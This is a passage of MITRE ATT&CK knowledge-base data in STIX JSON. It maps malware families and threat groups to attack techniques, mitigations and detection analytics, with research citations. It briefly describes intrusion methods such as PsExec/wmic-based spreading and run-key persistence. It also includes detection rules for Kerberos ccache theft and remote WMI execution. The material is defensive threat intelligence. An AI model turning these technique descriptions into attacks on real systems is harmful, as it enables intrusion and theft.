2016.","url":"http://researchcenter.paloaltonetworks.com/2015/07/unit-42-technical-analysis-seaduke/"}],"modified":"2020-03-17T02:32:57.958Z","description":"[SeaDuke](https://attack.mitre.org/software/S0053) is capable of persisting via a .lnk file stored in the Startup directory.(Citation: Unit 42 SeaDuke 2015)","relationship_type":"uses","source_ref":"malware--67e6d66b-1b82-4699-b47a-e2efb6268d14","target_ref":"attack-pattern--4ab929c6-ee2d-4fb5-aab4-b14be2ed7179","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--cfc7da70-d7c5-4508-8f50-1c3107269633","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"PWC Cloud Hopper Technical Annex April 2017","description":"PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.","url":"https://www.pwc.co.uk/cyber-security/pdf/pwc-uk-operation-cloud-hopper-technical-annex-april-2017.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-23T15:14:18.640Z","description":"(Citation: PWC Cloud Hopper Technical Annex April 2017)","relationship_type":"uses","source_ref":"intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f","target_ref":"malware--2f1a9fd0-3b7c-4d77-a358-78db13adbe78","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cfc92bbe-4a8b-47ec-b12d-d08fdcea1fbb","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://blog.talosintelligence.com/2017/04/introducing-rokrat.html","description":"Mercer, W., Rascagneres, P. (2017, April 03). Introducing ROKRAT. Retrieved May 21, 2018.","source_name":"Talos ROKRAT"},{"url":"https://blog.talosintelligence.com/2017/11/ROKRAT-Reloaded.html","description":"Mercer, W., Rascagneres, P. (2017, November 28). ROKRAT Reloaded. Retrieved May 21, 2018.","source_name":"Talos ROKRAT 2"},{"description":"GReAT. (2019, May 13). ScarCruft continues to evolve, introduces Bluetooth harvester. Retrieved June 4, 2019.","url":"https://securelist.com/scarcruft-continues-to-evolve-introduces-bluetooth-harvester/90729/","source_name":"Securelist ScarCruft May 2019"},{"source_name":"NCCGroup RokRat Nov 2018","url":"https://research.nccgroup.com/2018/11/08/rokrat-analysis/","description":"Pantazopoulos, N.. (2018, November 8). RokRat Analysis. Retrieved May 21, 2020."},{"source_name":"Volexity InkySquid RokRAT August 2021","url":"https://www.volexity.com/blog/2021/08/24/north-korean-bluelight-special-inkysquid-deploys-rokrat/","description":"Cash, D., Grunzweig, J., Adair, S., Lancaster, T. (2021, August 25). North Korean BLUELIGHT Special: InkySquid Deploys RokRAT. Retrieved October 1, 2021."},{"source_name":"Malwarebytes RokRAT VBA January 2021","url":"https://blog.malwarebytes.com/threat-analysis/2021/01/retrohunting-apt37-north-korean-apt-used-vba-self-decode-technique-to-inject-rokrat/","description":"Jazi, Hossein. (2021, January 6). Retrohunting APT37: North Korean APT used VBA self decode technique to inject RokRat. Retrieved March 22, 2022."}],"modified":"2022-03-22T20:09:04.817Z","description":"[ROKRAT](https://attack.mitre.org/software/S0240) can gather the hostname and the OS version to ensure it doesn’t run on a Windows XP or Windows Server 2003 systems.(Citation: Talos ROKRAT)(Citation: Talos ROKRAT 2)(Citation: Securelist ScarCruft May 2019)(Citation: NCCGroup RokRat Nov 2018)(Citation: Volexity InkySquid RokRAT August 2021)(Citation: Malwarebytes RokRAT VBA January 2021)","relationship_type":"uses","source_ref":"malware--60a9c2f0-b7a5-4e8e-959c-e1a3ff314a5f","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--cfcd06e3-36a3-4c83-b6a5-4dcdd4b4668e","created":"2022-03-30T14:26:51.835Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor for unexpected files (e.g., .pdf, .docx, .jpg, etc.) viewed for collecting internal data.","modified":"2022-07-25T16:57:52.785Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71","target_ref":"attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cfd59aac-dca4-4453-89eb-95e6871fe759","type":"relationship","created":"2022-03-30T14:26:51.860Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.860Z","description":"Monitor requests of new ticket granting ticket or service tickets to a Domain Controller. Event ID 4769 is generated on the Domain Controller when using a golden ticket after the KRBTGT password has been reset twice, as mentioned in the mitigation section. The status code 0x1F indicates the action has failed due to \"Integrity check on decrypted field failed\" and indicates misuse by a previously invalidated golden ticket.(Citation: CERT-EU Golden Ticket Protection)","source_ref":"x-mitre-data-component--02d090b6-8157-48da-98a2-517f7edd49fc","target_ref":"attack-pattern--7b211ac6-c815-4189-93a9-ab415deca926","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CERT-EU Golden Ticket Protection","description":"Abolins, D., Boldea, C., Socha, K., Soria-Machado, M. (2016, April 26). Kerberos Golden Ticket Protection. Retrieved July 13, 2017.","url":"https://cert.europa.eu/static/WhitePapers/UPDATED%20-%20CERT-EU_Security_Whitepaper_2014-007_Kerberos_Golden_Ticket_Protection_v1_4.pdf"}]},{"type":"relationship","id":"relationship--cfd6e988-fbaa-4174-84b9-6f28be9a5808","created":"2024-09-17T19:46:55.362Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-16T22:55:21.247Z","description":"Monitor for abnormal read access to ccache files located in the `/tmp` directory of a system from non-user processes. ","relationship_type":"detects","source_ref":"x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71","target_ref":"attack-pattern--394220d9-8efc-4252-9040-664f7b115be6","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cfd96c56-d86a-4421-a9e0-6116ac941caf","type":"relationship","created":"2022-03-30T14:26:51.847Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.847Z","description":"Monitor for newly constructed processes to match an existing service executables. ","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--70d81154-b187-45f9-8ec5-295d01255979","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cfda1087-90e8-46f3-9751-06e2140f2f2c","type":"relationship","created":"2021-08-23T19:38:33.523Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Arxiv Avaddon Feb 2021","url":"https://arxiv.org/pdf/2102.04796.pdf","description":"Yuste, J. Pastrana, S. (2021, February 9). Avaddon ransomware: an in-depth analysis and decryption of infected systems. Retrieved August 19, 2021."}],"modified":"2021-08-23T19:38:33.523Z","description":"[Avaddon](https://attack.mitre.org/software/S0640) uses registry run keys for persistence.(Citation: Arxiv Avaddon Feb 2021)","relationship_type":"uses","source_ref":"malware--58c5a3a1-928f-4094-9e98-a5a4e56dd5f3","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--cfdd9ee1-119f-4071-8498-02bb568fc778","created":"2022-08-16T15:38:21.271Z","x_mitre_version":"0.1","external_references":[{"source_name":"MalwareBytes SideCopy Dec 2021","url":"https://www.malwarebytes.com/blog/news/2021/12/sidecopy-apt-connecting-lures-to-victims-payloads-to-infrastructure","description":"Threat Intelligence Team. (2021, December 2). SideCopy APT: Connecting lures victims, payloads to infrastructure. Retrieved June 13, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[SideCopy](https://attack.mitre.org/groups/G1008) has crafted generic lures for spam campaigns to collect emails and credentials for targeting efforts.(Citation: MalwareBytes SideCopy Dec 2021)","modified":"2022-08-16T15:38:21.271Z","relationship_type":"uses","source_ref":"intrusion-set--03be849d-b5a2-4766-9dda-48976bae5710","target_ref":"attack-pattern--8982a661-d84c-48c0-b4ec-1db29c6cf3bc","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cfde6757-e167-4792-a7ba-f40520f7d136","type":"relationship","created":"2019-03-26T16:19:52.409Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos Nyetya June 2017","url":"https://blog.talosintelligence.com/2017/06/worldwide-ransomware-variant.html","description":"Chiu, A. (2016, June 27). New Ransomware Variant \"Nyetya\" Compromises Systems Worldwide. Retrieved March 26, 2019."}],"modified":"2019-04-24T20:02:45.124Z","description":"[NotPetya](https://attack.mitre.org/software/S0368) uses rundll32.exe to install itself on remote systems when accessed via [PsExec](https://attack.mitre.org/software/S0029) or wmic.(Citation: Talos Nyetya June 2017)","relationship_type":"uses","source_ref":"malware--5719af9d-6b16-46f9-9b28-fb019541ddbb","target_ref":"attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cfe2a359-bbab-4520-bdd7-b2d6abf742cc","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"XAgentOSX 2017","description":"Robert Falcone. (2017, February 14). XAgentOSX: Sofacy's Xagent macOS Tool. Retrieved July 12, 2017.","url":"https://researchcenter.paloaltonetworks.com/2017/02/unit42-xagentosx-sofacys-xagent-macos-tool/"},{"source_name":"Symantec APT28 Oct 2018","url":"https://www.symantec.com/blogs/election-security/apt28-espionage-military-government","description":"Symantec Security Response. (2018, October 04). APT28: New Espionage Operations Target Military and Government Organizations. Retrieved November 14, 2018."},{"source_name":"US District Court Indictment GRU Oct 2018","url":"https://www.justice.gov/opa/page/file/1098481/download","description":"Brady, S . (2018, October 3). Indictment - United States vs Aleksei Sergeyevich Morenets, et al.. Retrieved October 1, 2020."}],"modified":"2020-10-01T18:55:45.528Z","description":"(Citation: XAgentOSX 2017)(Citation: Symantec APT28 Oct 2018)(Citation: US District Court Indictment GRU Oct 2018)","relationship_type":"uses","source_ref":"intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c","target_ref":"malware--59a97b15-8189-4d51-9404-e1ce8ea4a069","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cfed60a3-c288-4c12-bfe2-2c0234a3cfa7","type":"relationship","created":"2021-08-18T18:25:08.460Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"SecureList SynAck Doppelgänging May 2018","description":"Ivanov, A. et al. (2018, May 7). SynAck targeted ransomware uses the Doppelgänging technique. Retrieved May 22, 2018.","url":"https://securelist.com/synack-targeted-ransomware-uses-the-doppelganging-technique/85431/"}],"modified":"2021-09-08T19:22:44.743Z","description":"[SynAck](https://attack.mitre.org/software/S0242) lists all the keyboard layouts installed on the victim’s system using GetKeyboardLayoutList API and checks against a hardcoded language code list. If a match if found, SynAck sleeps for 300 seconds and then exits without encrypting files.(Citation: SecureList SynAck Doppelgänging May 2018) ","relationship_type":"uses","source_ref":"malware--04227b24-7817-4de1-9050-b7b1b57f5866","target_ref":"attack-pattern--c1b68a96-3c48-49ea-a6c0-9b27359f9c19","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cff191ef-39ba-4126-b039-12a7fe327665","type":"relationship","created":"2020-03-17T02:36:01.188Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit42 SilverTerrier 2018","url":"https://www.paloaltonetworks.com/apps/pan/public/downloadResource?pagePath=/content/pan/en_US/resources/whitepapers/unit42-silverterrier-rise-of-nigerian-business-email-compromise","description":"Unit42. (2016). SILVERTERRIER: THE RISE OF NIGERIAN BUSINESS EMAIL COMPROMISE. Retrieved November 13, 2018."}],"modified":"2020-03-17T02:36:01.188Z","description":"[SilverTerrier](https://attack.mitre.org/groups/G0083) uses FTP for C2 communications.(Citation: Unit42 SilverTerrier 2018)\t","relationship_type":"uses","source_ref":"intrusion-set--76565741-3452-4069-ab08-80c0ea95bbeb","target_ref":"attack-pattern--9a60a291-8960-4387-8a4a-2ab5c18bb50b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--cff34686-cbdf-4e0b-8108-c2deaf8855a7","created":"2020-02-20T17:21:04.878Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Microsoft Common Conditional Access Policies","description":"Microsoft. (2022, December 14). Conditional Access templates. Retrieved February 21, 2023.","url":"https://learn.microsoft.com/en-us/azure/active-directory/conditional-access/concept-conditional-access-policy-common"},{"source_name":"Okta Block Anonymizing Services","description":"Moussa Diallo and Brett Winterford. (2024, April 26). How to Block Anonymizing Services using Okta. Retrieved May 28, 2024.","url":"https://sec.okta.com/blockanonymizers"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-28T18:49:40.068Z","description":"Set account lockout policies after a certain number of failed login attempts to prevent passwords from being guessed. Too strict a policy may create a denial of service condition and render environments un-usable, with all accounts used in the brute force being locked-out. Use conditional access policies to block logins from non-compliant devices or from outside defined organization IP ranges.(Citation: Microsoft Common Conditional Access Policies) Consider blocking risky authentication requests, such as those originating from anonymizing services/proxies.(Citation: Okta Block Anonymizing Services)","relationship_type":"mitigates","source_ref":"course-of-action--f9f9e6ef-bc0a-41ad-ba11-0924e5e84c4c","target_ref":"attack-pattern--692074ae-bb62-4a5e-a735-02cb6bde458c","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--cff64310-fe63-44ad-9791-d1b4b50f0229","created":"2022-07-01T20:26:53.275Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"TrendMicro EarthLusca 2022","description":"Chen, J., et al. (2022). Delving Deep: An Analysis of Earth Lusca’s Operations. Retrieved July 1, 2022.","url":"https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/a/earth-lusca-employs-sophisticated-infrastructure-varied-tools-and-techniques/technical-brief-delving-deep-an-analysis-of-earth-lusca-operations.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-02T18:58:18.750Z","description":"[Earth Lusca](https://attack.mitre.org/groups/G1006) has sent spearphishing emails to potential targets that contained a malicious link.(Citation: TrendMicro EarthLusca 2022)","relationship_type":"uses","source_ref":"intrusion-set--cc613a49-9bfa-4e22-98d1-15ffbb03f034","target_ref":"attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--cff7d7e5-a279-4499-9b03-0cb47ac6b25c","created":"2019-01-29T21:47:53.754Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Radware Micropsia July 2018","description":"Tsarfaty, Y. (2018, July 25). Micropsia Malware. Retrieved November 13, 2018.","url":"https://www.radware.com/blog/security/2018/07/micropsia-malware/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-04T11:08:25.926Z","description":"[Micropsia](https://attack.mitre.org/software/S0339) can perform microphone recording.(Citation: Radware Micropsia July 2018)","relationship_type":"uses","source_ref":"malware--8c050cea-86e1-4b63-bf21-7af4fa483349","target_ref":"attack-pattern--1035cdf2-3e5f-446f-a7a7-e8f6d7925967","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cff83f53-0e10-4e98-9e2e-2a4b7d027d70","type":"relationship","created":"2020-11-18T21:34:08.688Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Bazar July 2020","url":"https://www.cybereason.com/blog/a-bazar-of-tricks-following-team9s-development-cycles","description":"Cybereason Nocturnus. (2020, July 16). A BAZAR OF TRICKS: FOLLOWING TEAM9’S DEVELOPMENT CYCLES. Retrieved November 18, 2020."},{"source_name":"NCC Group Team9 June 2020","url":"https://research.nccgroup.com/2020/06/02/in-depth-analysis-of-the-new-team9-malware-family/","description":"Pantazopoulos, N. (2020, June 2). In-depth analysis of the new Team9 malware family. Retrieved December 1, 2020."}],"modified":"2020-12-01T14:09:06.741Z","description":"[Bazar](https://attack.mitre.org/software/S0534) can create a scheduled task for persistence.(Citation: Cybereason Bazar July 2020)(Citation: NCC Group Team9 June 2020)","relationship_type":"uses","source_ref":"malware--99fdf3b4-96ef-4ab9-b191-fc683441cad0","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cff9e6c6-eb2d-431d-958c-d86ffe6ea98d","type":"relationship","created":"2019-11-07T20:06:03.069Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"SensePost Outlook Forms","url":"https://sensepost.com/blog/2017/outlook-forms-and-shells/","description":"Stalmans, E. (2017, April 28). Outlook Forms and Shells. Retrieved February 4, 2019."},{"source_name":"SensePost Outlook Home Page","url":"https://sensepost.com/blog/2017/outlook-home-page-another-ruler-vector/","description":"Stalmans, E. (2017, October 11). Outlook Home Page – Another Ruler Vector. Retrieved February 4, 2019."}],"modified":"2021-08-16T21:29:19.959Z","description":"For the Outlook methods, blocking macros may be ineffective as the Visual Basic engine used for these features is separate from the macro scripting engine.(Citation: SensePost Outlook Forms) Microsoft has released patches to try to address each issue. Ensure KB3191938 which blocks Outlook Visual Basic and displays a malicious code warning, KB4011091 which disables custom forms by default, and KB4011162 which removes the legacy Home Page feature, are applied to systems.(Citation: SensePost Outlook Home Page)","relationship_type":"mitigates","source_ref":"course-of-action--e5d930e9-775a-40ad-9bdb-b941d8dfe86b","target_ref":"attack-pattern--a9e2cea0-c805-4bf8-9e31-f5f0513a3634","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cffbdd23-bf18-4bb9-bd50-dc74b69784e2","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html","description":"FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.","source_name":"FireEye Periscope March 2018"}],"modified":"2019-04-22T23:25:33.607Z","description":"[MURKYTOP](https://attack.mitre.org/software/S0233) has the capability to retrieve information about shares on remote hosts.(Citation: FireEye Periscope March 2018)","relationship_type":"uses","source_ref":"malware--049ff071-0b3c-4712-95d2-d21c6aa54501","target_ref":"attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cfff835f-4c2b-4c90-b316-3807796269fc","type":"relationship","created":"2020-08-11T21:15:35.490Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit42 RDAT July 2020","url":"https://unit42.paloaltonetworks.com/oilrig-novel-c2-channel-steganography/","description":"Falcone, R. (2020, July 22). OilRig Targets Middle Eastern Telecommunications Organization and Adds Novel C2 Channel with Steganography to Its Inventory. Retrieved July 28, 2020."}],"modified":"2020-08-11T21:46:03.607Z","description":"[RDAT](https://attack.mitre.org/software/S0495) can exfiltrate data gathered from the infected system via the established Exchange Web Services API C2 channel.(Citation: Unit42 RDAT July 2020)","relationship_type":"uses","source_ref":"malware--4b346d12-7f91-48d2-8f06-b26ffa0d825b","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d0013f9d-4243-4ade-8d06-a2cd6158ca58","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye FIN7 April 2017","description":"Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017.","url":"https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html"}],"modified":"2018-10-17T00:14:20.652Z","description":"[HALFBAKED](https://attack.mitre.org/software/S0151) can delete a specified file.(Citation: FireEye FIN7 April 2017)","relationship_type":"uses","source_ref":"malware--0ced8926-914e-4c78-bc93-356fb90dbd1f","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d0061edc-becf-4ce9-ae91-5e1816d4a894","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT37 Feb 2018","description":"FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.","url":"https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf"},{"url":"https://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html","description":"Mercer, W., Rascagneres, P. (2018, January 16). Korea In The Crosshairs. Retrieved May 21, 2018.","source_name":"Talos Group123"},{"source_name":"Securelist ScarCruft May 2019","url":"https://securelist.com/scarcruft-continues-to-evolve-introduces-bluetooth-harvester/90729/","description":"GReAT. (2019, May 13). ScarCruft continues to evolve, introduces Bluetooth harvester. Retrieved June 4, 2019."}],"modified":"2019-09-09T19:12:32.656Z","description":"[APT37](https://attack.mitre.org/groups/G0067) delivers malware using spearphishing emails with malicious HWP attachments.(Citation: FireEye APT37 Feb 2018)(Citation: Talos Group123)(Citation: Securelist ScarCruft May 2019)","relationship_type":"uses","source_ref":"intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c","target_ref":"attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d0076185-9619-4365-b74a-44f52cc92c79","type":"relationship","created":"2021-03-01T20:30:53.258Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA AppleJeus Feb 2021","url":"https://us-cert.cisa.gov/ncas/alerts/aa21-048a","description":"Cybersecurity and Infrastructure Security Agency. (2021, February 21). AppleJeus: Analysis of North Korea’s Cryptocurrency Malware. Retrieved March 1, 2021."}],"modified":"2021-03-01T20:30:53.258Z","description":"(Citation: CISA AppleJeus Feb 2021)","relationship_type":"uses","source_ref":"intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a","target_ref":"malware--e2d34c63-6f5a-41f5-86a2-e2380f27f858","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d009f8e4-3978-483c-ad56-09d9f3734562","created":"2023-08-11T20:20:06.872Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-04T19:24:20.354Z","description":"Monitor for the creation of WMI Win32_Process class and method Create to interact with a remote network share using Server Message Block (SMB). Relevant indicators detected by Bro/Zeek is IWbemServices::ExecMethod or IWbemServices::ExecMethodAsync. One thing to notice is that when the Create method is used on a remote system, the method is run under a host process named “Wmiprvse.exe”.\n\nThe process WmiprvSE.exe is what spawns the process defined in the CommandLine parameter of the Create method. Therefore, the new process created remotely will have Wmiprvse.exe as a parent. WmiprvSE.exe is a DCOM server and it is spawned underneath the DCOM service host svchost.exe with the following parameters C:\\WINDOWS\\system32\\svchost.exe -k DcomLaunch -p. From a logon session perspective, on the target, WmiprvSE.exe is spawned in a different logon session by the DCOM service host. However, whatever is executed by WmiprvSE.exe occurs on the new network type (3) logon session created by the user that authenticated from the network.\n\nAnalytic 1 - Basic\n\n(sourcetype=\"WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=\"1\") OR (sourcetype=\"WinEventLog:Security\" EventCode=\"4688\") AND ParentImage=\"*wmiprvse.exe\" AND TargetLogonID=\"0x3e7\"\n","relationship_type":"detects","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--4f9ca633-15c5-463c-9724-bdcd54fde541","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d012dd66-fef4-4714-bb00-55d9dd2861a1","type":"relationship","created":"2019-01-29T19:55:48.191Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://securelist.com/the-epic-turla-operation/65545/","description":"Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.","source_name":"Kaspersky Turla"}],"modified":"2019-07-26T16:10:42.508Z","description":"[Epic](https://attack.mitre.org/software/S0091) uses the tasklist /svc command to list the services on the system.(Citation: Kaspersky 